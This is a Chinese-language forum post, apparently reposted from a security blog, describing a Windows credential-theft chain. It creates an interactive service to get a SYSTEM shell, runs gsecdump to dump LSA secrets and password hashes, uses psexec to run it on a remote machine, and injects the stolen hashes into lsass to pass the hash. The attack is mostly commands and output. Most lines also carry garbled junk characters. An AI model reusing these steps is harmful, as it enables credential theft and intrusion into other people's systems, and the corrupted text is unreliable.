HASH注入式攻击

admin

o get a DOS Prompt as NT system:
+ u4 p- Y& Z# o- d) Z
7 C$ j  {2 X% {9 }3 W0 GC:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
[SC] CreateService SUCCESS
7 C# N& \4 h; u6 o% L4 @5 a' Y, f
( N) C0 v, c  p9 w  f" K1 RC:\>sc start shellcmdline
" Y2 Q! l% a* T8 `) R2 x[SC] StartService FAILED 1053:
/ r. J$ e/ S- `: n' N2 h
' s/ j; y  Q# m% D6 |. O% C3 \The service did not respond to the start or control request in a timely fashion.
- T' _$ L7 l; y; T% q, `
C:\>sc delete shellcmdline
6 \5 x) N8 D4 y2 E' P8 I[SC] DeleteService SUCCESS
" K/ m8 h8 C; _( S8 v: v8 b. r' Z, E" j
------------
. ~# a6 U  k/ I2 P  Z& `, l
0 l8 H! w0 X1 @( Q* `- v2 AThen in the new DOS window:

  P! J& v' Q/ Z3 uMicrosoft Windows XP [Version 5.1.2600]
' w6 d4 X' ~9 ?7 o. m. Z(C) Copyright 1985-2001 Microsoft Corp.

. x' q! ?6 {0 g4 cC:\WINDOWS\system32>whoami
NT AUTHORITY\SYSTEM
8 a6 a- O6 M# @# q6 F: K
' o2 @5 _( s& LC:\WINDOWS\system32>gsecdump -h
9 `' I* V0 V/ U' {) O: fgsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)
% z6 T; a; }5 I$ eusage: gsecdump [options]

0 @  v) W2 x" ?1 l. B; f/ roptions:
-h [ --help ] show help
) P; z1 G3 n& \; R+ G. Q-a [ --dump_all ] dump all secrets
-l [ --dump_lsa ] dump lsa secrets
1 v# h$ D7 V/ A8 g' j3 S% H-w [ --dump_wireless ] dump microsoft wireless connections
-u [ --dump_usedhashes ] dump hashes from active logon sessions
( N# Z" F0 p$ J-s [ --dump_hashes ] dump hashes from SAM/AD

Although I like to use:

PsExec v1.83 - Execute processes remotely
Copyright (C) 2001-2007 Mark Russinovich
: C8 @* |; n( oSysinternals - 链接标记[url]www.sysinternals.com[/url]
2 P! s. ^. b6 {: D& g
7 S& d. @3 [, rC:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT

" g5 O0 S2 A8 S4 Y+ p! r0 ^6 bto get the hashes from active logon sessions of a remote system.

$ o' C9 l+ k1 q0 b. cThese are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.
) q+ E6 ~& w) C/ z6 h# O
- N' a' s& ^3 Q提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]

* i8 p; P  U/ P我看了下原文出处，貌似是/2007/03/16/郁闷啊，差距。
! }$ ]+ D1 ?0 A9 _& Y& r1 E7 ]% x